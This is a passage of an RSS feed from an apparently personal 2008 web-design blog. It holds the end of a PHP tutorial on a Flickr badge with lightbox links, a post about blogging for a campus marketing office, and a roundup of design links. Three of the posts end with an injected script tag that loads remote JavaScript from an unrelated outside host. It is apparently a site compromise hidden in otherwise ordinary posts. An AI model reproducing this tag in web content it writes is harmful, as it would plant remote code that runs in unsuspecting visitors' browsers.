	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;li&gt;&lt;a href=&quot;'</span> <span style="color: #339933;">.</span> build_photo_original<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; rel=&quot;lightbox[flickr]&quot; title=&quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot;&gt;&lt;img src=&quot;'</span> <span style="color: #339933;">.</span> build_photo_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; alt=&quot;'</span><span style="color: #339933;">.</span> <span style="color: #000088;">$p</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'title'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; /&gt;&lt;/a&gt;&lt;/li&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is our <em>foreach</em> loop that will use the functions we just defined to generate the HTML code for out photos. You can see I&#8217;m hard coding the rel=<em>&#8220;lightbox&#8221;</em> attribute this will open the photo in a light box just alter this script for your particular brand of lightbox script.</p>
<h2>Implementation</h2>
<p>To use this script simply call the function from your php document link this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;ul id=&quot;custom_flickr_badge&quot;&gt;
<span style="color: #000000; font-weight: bold;">&lt;?php</span> GetFlickr<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/ul&gt;</pre></div></div>

<p>at the head of your document you will also need to include the file that contains your function. Like this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span> <span style="color: #0000ff;">&quot;flickr.php&quot;</span><span style="color: #339933;">;</span>  <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Where <em>flickr.php</em> is the path to the file where the function resides.</p>
<h2>Concusion</h2>
<p>This took me a long time to figure out but the end result is more pleasing then the default flickr badge. It keeps your visitors on the page and is easy to style via the <em>id=&#8221;custom_flickr_badge&#8221;</em> attribute.</p>
<p>If anyone has any issues with the script I&#8217;ll be happy to help.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/make-a-flickr-badge-with-lightbox-functionality/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Now Blogging at EMU Marketing</title>
		<link>http://www.upsidedowncity.net/now-blogging-at-emu-marketing/</link>
		<comments>http://www.upsidedowncity.net/now-blogging-at-emu-marketing/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 16:16:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=368</guid>
		<description><![CDATA[As most of you know I work at a design office on campus doing mostly web design work with a little graphics mixed in. Well one of the new projects is a blog for the office my first post is up there now about the design for the Civil War Lan poster.
I&#8217;ll be reposting everything [...]]]></description>
			<content:encoded><![CDATA[<p>As most of you know I work at a design office on campus doing mostly web design work with a little graphics mixed in. Well one of the new projects is a blog for the office my first post is up there now about the design for the <a title="Civil War Lan" href="http://civilwarlan.com">Civil War Lan</a> poster.</p>
<p>I&#8217;ll be reposting everything thing I publish there here about a week apart but there are some great articles in the work for web design and development so check it out.</p>
<p><a title="Emu Marketing" href="http://emumarketing.uoregon.edu">EMU Marketing</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/now-blogging-at-emu-marketing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FOUND Links #7</title>
		<link>http://www.upsidedowncity.net/found-links-7/</link>
		<comments>http://www.upsidedowncity.net/found-links-7/#comments</comments>
		<pubDate>Fri, 17 Oct 2008 21:05:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.upsidedowncity.net/?p=330</guid>
		<description><![CDATA[Kicking off my second post under the new theme is exciting this week I went back and picked up a good mix of links for you.

Cut and Paste Digital Design Tournament
 CUT AND PASTE IS BACK! If you live in the Portland area you see me at the tournament this year. I really wanted to [...]]]></description>
			<content:encoded><![CDATA[<p>Kicking off my second post under the new theme is exciting this week I went back and picked up a good mix of links for you.</p>
<p><span id="more-330"></span></p>
<h2>Cut and Paste Digital Design Tournament</h2>
<div id="attachment_331" class="wp-caption aligncenter" style="width: 410px"><a href="http://www.cutandpaste.com/events/"><img class="size-medium wp-image-331" title="cutpaste" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/cutpaste-400x148.jpg" alt="Cut and Paste Digital Design Torunament" width="400" height="148" /></a><p class="wp-caption-text">Cut and Paste Digital Design Torunament</p></div>
<p><a href="http://www.cutandpaste.com/events/"> CUT AND PASTE</a> IS BACK! If you live in the Portland area you see me at the tournament this year. I really wanted to go last year but got caught up with school but I am definitely going this year and will be blogging about it.</p>
<p>For all of you who don&#8217;t know what cut and paste is. It pairs off designers against each other in 15 minute &#8220;battles&#8221; think Dj&#8217;s with Wacoms. And slowly advances them through the rounds until a champion is crowned.</p>
<h2>typetester compare screen type</h2>
<div id="attachment_334" class="wp-caption aligncenter" style="width: 410px"><a href="http://www.typetester.org/"><img class="size-medium wp-image-334" title="typester" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/typester-400x183.jpg" alt="TypeTester Test type for the screen." width="400" height="183" /></a><p class="wp-caption-text">TypeTester Test type for the screen.</p></div>
<p><a title="Typetester" href="http://www.typetester.org/">Typetester</a> is one those things I love to just play around with. It lets you play around with and test different fonts and styles for the web. It really shines because it generates the code for you and lets you run 3 columns of text at once.</p>
<h2>Posemaniacs</h2>
<div id="attachment_332" class="wp-caption aligncenter" style="width: 410px"><a href="http://www.posemaniacs.com/"><img class="size-medium wp-image-332" title="posemaniacs" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/posemaniacs-400x210.jpg" alt="Posemaniacs" width="400" height="210" /></a><p class="wp-caption-text">Posemaniacs</p></div>
<p><a title="Posemaniacs" href="http://www.posemaniacs.com/">Posemaniacs</a> is one of those sites you never quite stop heading back to for something. All it is if systematic poses of people stripped back to the muscle and uploaded. the site recently went through a redesigna and looks great I would check it out.</p>
<h2>Web without words</h2>
<div id="attachment_335" class="wp-caption aligncenter" style="width: 410px"><a href="http://webwithoutwords.com/blog/next/1/"><img class="size-medium wp-image-335" title="webwithoutwords" src="http://www.upsidedowncity.net/wp-content/uploads/2008/10/webwithoutwords-400x274.jpg" alt="Web With Out Words" width="400" height="274" /></a><p class="wp-caption-text">Web Without Words</p></div>
<p><a title="Web Without Words" href="http://webwithoutwords.com/blog/next/1/">Web Without Words</a> is a project where a popular website is stripped of all text and images and replaced with bars stripping it back to the structure and its fairly interesting. The Website is actually very easy to naviagte condisering there is no visible text.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upsidedowncity.net/found-links-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
